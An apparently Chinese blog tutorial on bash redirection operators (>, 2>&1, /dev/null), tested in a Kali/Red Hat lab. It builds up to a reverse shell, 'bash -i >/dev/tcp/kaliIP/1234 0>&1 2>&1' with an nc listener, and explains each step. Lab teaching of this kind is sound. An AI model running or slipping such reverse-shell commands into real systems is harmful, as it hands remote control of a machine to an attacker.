linux bash -,linux bash >&总结

0x00 前言

经常接触到bash的>&符号,总是忘记或者混淆,特有此文总结。

0x01 概述

0:stdin标准输入

1:stdout标准输出

2:stderr标准错误

>:输出重定向

/dev/null:空洞,可以理解为黑洞或垃圾箱

直接ls > 1系统会误认为是把标准输出重定向到1这个文件而不是标准输出,所以加上&1表示标准输出。

标准错误2不仅显示错误信息,还有回显输入命令和终端提示符的作用。

>/dev/null 2>&1:把标准输出重定向到黑洞,接着标准错误重定向到标准输出,也就是扔到一样黑洞。

2>&1 >/dev/null:先把标准错误重定向到标准输出,注意这里标准输出还是默认输出到屏幕,所以会输出stderr,接着标准输出重定向到黑洞,所以输出stderr不输出stdout。

0x02 测试

测试0:

redhat:cat hi.txt >/dev/null

abcd >/dev/null 2>&1

3f492ebf6dc366dbec8bba7254063098.png

测试1:

kali: nc -vvlp 1234

redhat:bash -i >/dev/tcp/kaliIP/1234

bd5464ccce7594fed089884de9d279a7.png

5fe0cc5e3cbe4080f59f039a4938d630.png

解释:bash -i创建的交互式子shell的标准输出给了/dev/tcp/kaliIP/1234,所以在redhat中输入ls命令的输出结果在kali中显示,但是标准错误2还是在redhat中,所以输入abcd这个不存在的命令时标准错误显示在redhat中。

测试2:

kali:nc -vvlp 1234

redhat:bash -i 

0c043ec6c928c97f26bdc52e23a8ab73.png

ed9622ff38ef7470750f1bf6df52d142.png

解释:redhat从/dev/tcp/kaliIP/1234中获得标准输入0,将ls命令的结果显示出来。由于标准错误2还在redhat,所以在kali中输入abcd这个不存在的命令时,错误信息显示在redhat,注意这里命令虽然在kali中输入,但是命令也会回显到redhat,因为标准错误2还在redhat……貌似强调得有点多了^-^!。

测试3:

kali:nc -vvlp 1234

redhat:bash -i >/dev/tcp/kaliIP/1234 0>&1

c1489f1e9391f71d38e8761aca09b770.png

0b6ed69b0aba398988922ae35853dd42.png

解释:在redhat中将标准输出1重定向到kali,标准输入0重定向到标准输出1,也就是在kali中输入命令ls,命令传到redhat的子shell,再将命令结果输出到kali,注意这里标准错误2在redhat,所以redhat有命令回显和标准错误(如图的abcd)。

测试4:

kali:nc -vvlp 1234

redhat:bash -i >/dev/tcp/kaliIP/1234 0>&1 2>&1

04487691b9513f0b5159abf7dc2a199d.png

b751d096fbd43b4d2904acac46ba0508.png

解释:redhat中在测试3的基础上将标准错误也重定向到标准输出,这样在redhat中就没有了标准错误信息和命令回显(包括命令提示符),这就是一个基本的反弹shell了。

通过查阅资料https://www.gnu.org/software/bash/manual/bash.pdf

可以发现

There are two formats for redirecting standard output and standard error:

&>

word

and

>&

word

Of the two forms, the first is preferred. This is semantically equivalent to

>

word

2>&1

也就是说2>&1和>&/dev/…,&>/dev/…是一样的,亲测有效。

0x03 结语

多看看官方手册还是不错的。

0x04 参考资料

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Linux bash-4.2是指Linux操作系统中的Bash Shell版本号为4.2。Bash是一种命令行解释器,用于在Linux和其他Unix系统上执行命令和脚本。Bash-4.2是Bash的一个较早的版本,它包含了许多基本的命令和功能,可以用于管理文件、目录、进程等。 ### 回答2: Linux Bash-4.2是一个基于Linux操作系统的命令行解释器,也被称为Bash Shell。Bash 是 Bourne Again SHell 的缩写,是经典Unix Shell Bourne shell 的增强版本。 Bash-4.2是指Bash的版本号,版本4.2是较早期的一个版本,它已经在2011年发布。目前最新版本是5.1。 Bash Shell是一个文本模式下的交互式命令解释器,它通过读取命令行输入,并执行相应的命令来完成用户需要的操作。Bash Shell支持类似于编程语言的特性,例如变量、条件语句、循环语句等等。 在Linux系统中,Bash Shell是一个非常重要的组件,它允许用户在命令行下进行各种各样的操作,例如系统管理、文件管理、软件安装等等。除此之外,Bash Shell还可以作为脚本解释器,使用户可以编写自己的脚本,实现自动化操作。 Bash Shell的功能非常强大,也比较复杂,需要花费一些时间来学习和掌握。但是一旦掌握了Bash Shell的基本使用方法,用户就可以在Linux系统下高效地工作,并且可以通过编写Shell脚本实现许多自动化任务,提高日常工作效率。 ### 回答3: linux bash-4.2是一个指代在Linux操作系统中使用的Bash shell版本。Bash shell是一种交互式的命令行工具,它允许用户输入命令并将它们发送到操作系统中运行。Bash shell是Linux系统中最常用的shell程序之一,通过它,用户可以进行各种文件和目录操作,配置系统设置,运行程序等。 Bash-4.2作为Bash shell的一个版本,其具有一些独特的特性和不同的命令,以及Bug修复和功能改进。比如说,Bash-4.2版本添加了“内嵌括号展开”的特性,支持更多的环境变量和历史命令。并且修复了以前版本的一些Bugs,提高了程序的稳定性和效率。 由于Bash-4.2是一个开源程序,任何人都可以阅读Bash-4.2的源代码,并根据需要进行修改和更新。这使得Bash shell成为了一个强大的工具,可以被广泛地应用于许多领域中。 除了Bash-4.2以外,也有其他版本的Bash shell可供使用,每个版本都具有不同的特性和与不同操作系统的兼容性。对于Linux用户来说,选择适合自己的Bash shell版本,可以帮助提高工作效率和编写命令的质量。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值